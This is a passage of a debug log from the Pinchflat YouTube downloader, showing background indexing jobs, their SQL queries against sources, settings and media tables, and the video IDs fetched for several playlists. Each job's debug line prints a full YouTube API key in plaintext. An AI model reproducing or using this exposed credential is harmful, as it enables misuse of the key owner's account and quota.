'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:35:00.409 [debug] QUERY OK source="tasks" db=0.0ms idle=8.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268259, 34, ~U[2026-10-09 21:35:00Z], ~U[2026-10-09 21:35:00Z]] 16:35:00.410 [info] {"args":{"id":34},"id":5268220,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":322468,"event":"job:stop","queue_time":338609,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:01.088 [info] {"args":{"id":33},"id":5268221,"meta":{},"system_time":1791581701088216638,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:01.088 [debug] QUERY OK source="sources" db=0.1ms idle=678.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:35:01.088 [debug] QUERY OK source="settings" db=0.1ms idle=678.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:01.088 [debug] QUERY OK source="media_profiles" db=0.0ms idle=672.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:01.089 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:01.089 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:35:01.089 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:01.089 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:01.369 [debug] QUERY OK source="media_items" db=0.7ms idle=279.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 16:35:01.370 [debug] QUERY OK source="media_items" db=0.5ms idle=281.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:35:01.371 [debug] QUERY OK source="tasks" db=0.1ms idle=281.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268260, 33, ~U[2026-10-09 21:35:01Z], ~U[2026-10-09 21:35:01Z]] 16:35:01.371 [info] {"args":{"id":33},"id":5268221,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":282998,"event":"job:stop","queue_time":298946,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:02.089 [info] {"args":{"id":39},"id":5268222,"meta":{},"system_time":1791581702089231857,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:02.089 [debug] QUERY OK source="sources" db=0.1ms idle=718.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:35:02.089 [debug] QUERY OK source="settings" db=0.2ms idle=718.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:02.090 [debug] QUERY OK source="media_profiles" db=0.1ms idle=712.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:02.090 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:02.090 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:35:02.090 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:02.090 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:02.305 [debug] QUERY OK source="media_items" db=0.9ms idle=214.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 16:35:02.306 [debug] QUERY OK source="media_items" db=0.3ms idle=215.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:35:02.306 [debug] QUERY OK source="tasks" db=0.1ms idle=216.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268261, 39, ~U[2026-10-09 21:35:02Z], ~U[2026-10-09 21:35:02Z]] 16:35:02.307 [info] {"args":{"id":39},"id":5268222,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":217766,"event":"job:stop","queue_time":424354,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:02.313 [info] {"args":{"id":46},"id":5268223,"meta":{},"system_time":1791581702313218040,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:02.313 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 16:35:02.313 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:02.313 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:02.314 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:02.314 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 16:35:02.314 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:02.314 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:02.446 [debug] QUERY OK source="media_items" db=0.4ms idle=132.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 16:35:02.446 [debug] QUERY OK source="media_items" db=0.1ms idle=132.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 16:35:02.447 [debug] QUERY OK source="tasks" db=0.1ms idle=133.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268262, 46, ~U[2026-10-09 21:35:02Z], ~U[2026-10-09 21:35:02Z]] 16:35:02.447 [info] {"args":{"id":46},"id":5268223,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134471,"event":"job:stop","queue_time":461625,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:03.090 [info] {"args":{"id":47},"id":5268224,"meta":{},"system_time":1791581703090115821,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:03.090 [debug] QUERY OK source="sources" db=0.1ms idle=642.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 16:35:03.090 [debug] QUERY OK source="settings" db=0.1ms idle=642.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:03.090 [debug] QUERY OK source="media_profiles" db=0.0ms idle=636.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:03.090 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:03.090 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 16:35:03.091 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:03.091 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:03.318 [debug] QUERY OK source="media_items" db=0.5ms idle=227.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 16:35:03.319 [debug] QUERY OK source="media_items" db=0.3ms idle=228.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 16:35:03.319 [debug] QUERY OK source="tasks" db=0.1ms idle=228.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268263, 47, ~U[2026-10-09 21:35:03Z], ~U[2026-10-09 21:35:03Z]] 16:35:03.320 [info] 